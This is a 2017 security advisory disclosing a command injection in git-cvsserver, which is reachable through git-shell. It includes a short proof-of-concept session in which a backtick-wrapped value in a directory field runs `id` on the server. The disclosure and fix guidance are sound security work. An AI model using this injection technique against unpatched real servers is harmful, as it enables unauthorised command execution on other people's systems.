Git cvsserver Remote Command Execution Vulnerability

Phenoelit Advisory <wir-haben-auch-mal-was-gefunden #0815 ++--->

[ Authors ]
        joernchen       <joernchen () phenoelit de>

        Phenoelit Group (http://www.phenoelit.de)

[ Affected Products ]
        Git before 2.14.2, 2.13.6, 2.12.5, 2.11.4 and 2.10.5 (git-cvsserver)
        https://git-scm.com

[ Vendor communication ]
        2017-09-08 Sent vulnerability details to the git-security list
        2017-09-09 Acknowledgement of the issue, git maintainers ask if
                   a patch could be provided
        2017-09-10 Patch is provided
        2017-09-11 Further backtick operations are patched by the git
                   maintainers, corrections on the provided patch
        2017-09-11 Revised patch is sent out
        2017-09-11 Jeff King proposes to drop `git-cvsserver`'s default
                   invocation from `git-shell`
        2017-09-22 Draft release for git 2.14.2 is created including the
                   fixes
        2017-09-26 Release of this advisory, release of fixed git versions

[ Description ]
  The `git` subcommand `cvsserver` is a Perl script which makes excessive
  use of the backtick operator to invoke `git`. Unfortunately user input
        is used within some of those invocations.


  It should be noted, that `git-cvsserver` will be invoked by `git-shell`
        by default without further configuration.

[ Example ]
  Below a example of a OS Command Injection within `git-cvsserver`
        triggered via `git-shell`:

        =====8<=====
[[email protected] ~]$ cat .ssh/authorized_keys
command="git-shell -c \"$SSH_ORIGINAL_COMMAND\"" ssh-rsa AAAAB3NzaC ....

[[email protected] ~]$ ssh [email protected] cvs server
Root /tmp
E /tmp/ does not seem to be a valid GIT repository
E
error 1 /tmp/ is not a valid repository
Directory .
`id>foooooo`
add
fatal: Not a git repository: '/tmp/'
Invalid module '`id>foooooo`' at /usr/lib/git-core/git-cvsserver line 3807, <STDIN> line 4.
[[email protected] ~]$

[[email protected] ~]$ cat foooooo
uid=619(git) gid=618(git) groups=618(git)
[[email protected] ~]$
        =====>8=====

[ Solution ]
        Upgrade to one of the following git versions:
        * 2.14.2
        * 2.13.6
        * 2.12.5
        * 2.11.4
        * 2.10.5

[ end of file ]

#  0day.today [2018-01-08]  #